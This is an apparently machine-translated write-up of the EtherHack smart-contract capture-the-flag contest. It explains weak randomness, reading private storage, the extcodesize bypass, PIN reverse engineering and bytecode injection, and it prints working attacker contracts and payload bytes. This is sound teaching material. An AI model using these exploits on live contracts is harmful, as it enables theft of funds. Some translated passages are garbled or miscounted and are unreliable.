发现智能合约中的漏洞:积极Hack Days的EtherHack评论8

图片

今年,PHDays首次举办了一场名为EtherHack的比赛。 参与者寻找智能合约中的漏洞以提高速度。 在本文中,我们将向您介绍比赛的任务以及解决这些问题的可能方法。

Azino 777


赢彩票并打破底池!


前三个任务与伪随机数生成中的错误有关,我们最近谈到了这些问题: 预测以太坊智能合约中的随机数 。 第一项任务基于伪随机数生成器(PRNG),它使用最后一块的哈希作为熵的来源来生成随机数:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

由于同一块中任何事务的调用block.blockhash(block.number-1)函数block.blockhash(block.number-1)的结果都是相同的,因此攻击者可以使用具有相同rand()函数的漏洞利用合同通过内部消息来调用目标合同:

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

私人瑞安


我们添加了一个没人能计算的私有初始值。


此任务是上一个任务的稍微复杂的版本。 种子变量被视为私有变量,用于偏移块序号(block.number),以便该块的哈希不依赖于先前的块。 每次下注后,种子将被重写为新的“随机”偏移量。 例如,在Slotthereum彩票中就是这样。

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

与之前的任务一样,黑客只需要将rand()函数复制到合约漏洞中,但是在这种情况下,必须在区块链外部获取私有变量种子的值,然后将其作为参数发送给漏洞。 为此,您可以使用web3库中的web3.eth.getStorageAt()方法:

图片

读取区块链外部的合同存储以获取初始值

收到初始值后,仅保留将其发送给漏洞利用程序,这与第一个任务中的几乎相同:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

命运之轮


该彩票使用后续块的哈希。 尝试计算一下!


在此任务中,有必要在下注后找出其编号存储在游戏结构中的区块的哈希值。 然后在下一次下注后提取此哈希以生成随机数。

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

在这种情况下,有两种可能的解决方案。

  1. 通过漏洞利用合同两次调用目标合同。 调用block.blockhash(block.number)函数的结果将始终为零。
  2. 等待256个方块进入,然后再下注。 由于以太坊虚拟机(EVM)对可用块哈希数的限制 ,因此存储的块序列号哈希将为零。

在这两种情况下,获胜投注uint256(keccak256(bytes32(0))) % 100或“ 47”。

也许给我打电话


该合同不喜欢其他合同所称的合同。


保护合约不被其他合约调用的一种方法是使用汇编程序指令EVM extcodesize ,该指令在其地址处返回合约的大小。 方法是使用汇编器插入将此指令用于事务发送方的地址。 如果结果大于零,则说明交易的发送者是一个合同,因为以太坊中的普通地址没有代码。 正是此方法用于此任务中,以防止其他合同调用该合同。

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

tx.origin事务tx.origin指向该事务的原始创建者,而msg.sender指向最后一个调用者。 如果我们从通常的地址发送事务,则这些变量将相等,并且最终将得到revert() 。 因此,要解决我们的问题,必须绕过extcodesize指令的验证,以便tx.originmsg.sender不同。 幸运的是,EVM中有一个不错的功能可以帮助您:

图片

确实,当刚刚放置的合同在构造函数中调用其他合同时,它本身还不存在于区块链中,它仅充当钱包。 因此,代码未绑定到新合同,并且extcodesize将返回零:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 


奇怪的是,城堡已关闭。 尝试通过解锁功能(字节4密码)获取密码。 每次尝试解锁将花费您0.5乙醚。


在此任务中,没有为参与者提供代码-他们必须通过其字节码恢复合同的逻辑。 一种选择是使用Radare2,该平台用于反汇编调试EVM

首先,我们将发布一个任务示例并随机输入代码:

 await contract.unlock("1337", {value: 500000000000000000}) →false 

尝试当然是好的,但是没有成功。 现在尝试调试此事务。

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

在这种情况下,我们指示Radare2使用evm架构。 然后,该工具连接到以太坊节点,并在虚拟机中检索此事务的跟踪。 现在,最后,我们准备深入探讨EVM字节码。

首先,您需要执行分析:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

接下来,我们使用pd 1000命令反汇编前1000条指令(这应该足以覆盖整个合同),并切换为使用VV命令查看图形。

在用solc编译的EVM字节码中,通常是功能管理器排在第一位。 基于包含函数签名的调用数据的前四个字节(定义为bytes4(sha3(function_name(params))) ,函数管理器决定要调用哪个函数。 我们对unlock(bytes4)功能unlock(bytes4)感兴趣,该功能对应于0x75a4e3a0

按照使用s键的执行流程,我们到达将callvalue与值0x6f05b59d3b20000500000000000000000进行比较的节点,该值等于0.5以太:

 push8 0x6f05b59d3b20000 callvalue lt 

如果提供的以太币足够,那么我们发现自己处于一个类似于控制结构的节点中:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

该代码将值0x4放在堆栈的顶部,检查上限(该值不应超过0xff),并将lt与从堆栈的第四个元素(dup4)复制的某个值进行比较。

滚动到图的最底部,我们看到第四个元素本质上是一个迭代器,并且此控制结构是一个与for(var i=0; i<4; i++):相对应的循环for(var i=0; i<4; i++):

 push1 0x1 add swap4 

如果考虑循环的主体,很明显它枚举了四个传入的字节,并对每个字节执行一些操作。 首先,循环检查第n个字节是否大于0x30:

 push1 0x30 dup3 lt iszero 

并且该值小于0x39:

 push1 0x39 dup3 gt iszero 

这实际上是检查给定字节是否在0到9的范围内。如果检查成功,那么我们发现自己处于最重要的代码块中:

图片

让我们将此块分为几部分:

1.堆栈中的第三个元素是PIN码第n个字节的ASCII码。 0x30(ASCII码为零)被压入堆栈,然后从该字节的代码中减去:

 push1 0x30 dup3 sub 

也就是说, pincode[i] - 48 ,实际上我们从ASCII码中得到一个数字,我们称它为d。

2. 0x4被添加到堆栈中,并用作堆栈中第二个元素d的指数:

 swap1 pop push1 0x4 dup2 exp 

即, d ** 4

3.检索堆栈的第五个元素,并将乘幂结果添加到其中。 将此总和称为S:

 dup5 add swap4 pop dup1 

即, S += d ** 4

4. 0xa(10的ASCII码)被压入堆栈,并用作堆栈中第七个元素(在此加法之前为第六个)的乘法器。 我们不知道它是什么,因此我们将其称为U。然后将d添加到乘法结果中:

 push1 0xa dup7 mul add swap5 pop 

也就是说: U = U * 10 + d或更简单地说,该表达式将整个pin代码作为一个数字从单个字节中恢复([0x1, 0x3, 0x3, 0x7] → 1337)

我们所做的最困难的事情,现在让我们在循环后继续执行代码。

 dup5 dup5 eq 

如果堆栈上的第五个元素和第六个元素相等,那么执行流程将把我们带到sstore指令,该指令在合同存储中设置某个标志。 由于这是唯一的存储指令,因此这显然是我们想要的。

但是如何通过这项测试? 正如我们已经发现的那样,堆栈上的第五个元素是S,第六个元素是U。由于S是将PIN码的所有位加到第四幂的总和,因此我们需要一个满足此条件的PIN码。 在我们的案例中,分析表明1**4 + 3**4 + 3**4 + 7**4不等于1337,并且我们没有达到获胜的sstore指令。

但是现在我们可以计算一个满足该方程式条件的数字。 只有四个数字可以写为它们的四度数字的总和:1634、8208和9474。它们中的任何一个都可以打开锁!

海盗船


嘿,萨拉格! 一艘海盗船停泊在港口。 让他放下锚,与乔利·罗杰(Jolly Roger)升起国旗,去寻找宝藏。


合同执行的标准过程包括三个动作:

  1. 调用dropAnchor()函数,其块号应比当前块大100,000块。 该函数动态创建一个合同,即“锚”,可以在指定块后使用selfdestruct()将其“解除”。
  2. 调用pullAnchor()函数,如果经过了足够的时间(很多时间!),它将启动pullAnchor() )。
  3. 调用sailAway(),如果不存在锚协定,则将blackJackIsHauled设置为true。

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } } 

该漏洞非常明显:在dropAnchor()函数中创建协定时,我们直接注入了汇编程序指令。 但是主要的困难是创建一个有效载荷,使我们能够通过block.number

在EVM中,可以使用create语句创建合同。 它的参数是值,输入偏移量和输入大小。 value是托管合同本身的字节码(初始化代码)。 在我们的例子中,初始化代码+合同代码放置在uint256中(感谢GasToken团队的建议):

 0x6a63004141414310585733ff600052600b6015f3 

其中黑体字是托管合同的代码,而414141是注入位置。 由于我们面临着摆脱throw操作符的任务,因此我们需要插入新合同并重写初始化代码的尾部。 让我们尝试使用0xff指令注入合同,这将导致使用selfdestruct()无条件删除锚定合同:

  68 414141ff3f3f3f3f3f ;;  push9合约
 60 00 ;; 推1 0
 52 ;; 商店
 60 09 ;; 推1 9
 60 17 ;; 推1 17
 f3 ;; 归还 

如果我们将此字节序列转换为uint256 (9081882833248973872855737642440582850680819)并将其用作dropAnchor()函数的参数, dropAnchor()得到以下代码变量值(黑体字的字节码是我们的有效负载):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff 

在代码变量成为initcode变量的一部分之后,我们得到以下值:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3 

现在高字节0x6300消失了,其余字节码在0xf3 (return)之后0xf3 (return)

图片

结果,创建了具有更改逻辑的新合同:

  41 ;; 币库
 41 ;; 币库
 41 ;; 币库
 ff ;; 自毁
 3f ;; 垃圾
 3f ;; 垃圾
 3f ;; 垃圾
 3f ;; 垃圾
 3f ;; 垃圾 

如果现在调用pullAnchor()函数,则该合约将被立即销毁,因为我们不再需要检查block.number。 之后,我们调用sailAway()函数并庆祝胜利!

结果


  1. 第一名,并以相当于1000美元的金额播出:Alexey Pertsev(p4lex)
  2. 第二名和Ledger Nano S:Alexey Markov
  3. 第三名和PHDays纪念品:Alexander Vlasov

所有结果: etherhack.positive.com/#/scoreboard

图片

祝贺获奖者,并感谢所有参与者!

PS感谢Zeppelin 使Ethernaut CTF平台源代码开源。

Source: https://habr.com/ru/post/zh-CN414959/


All Articles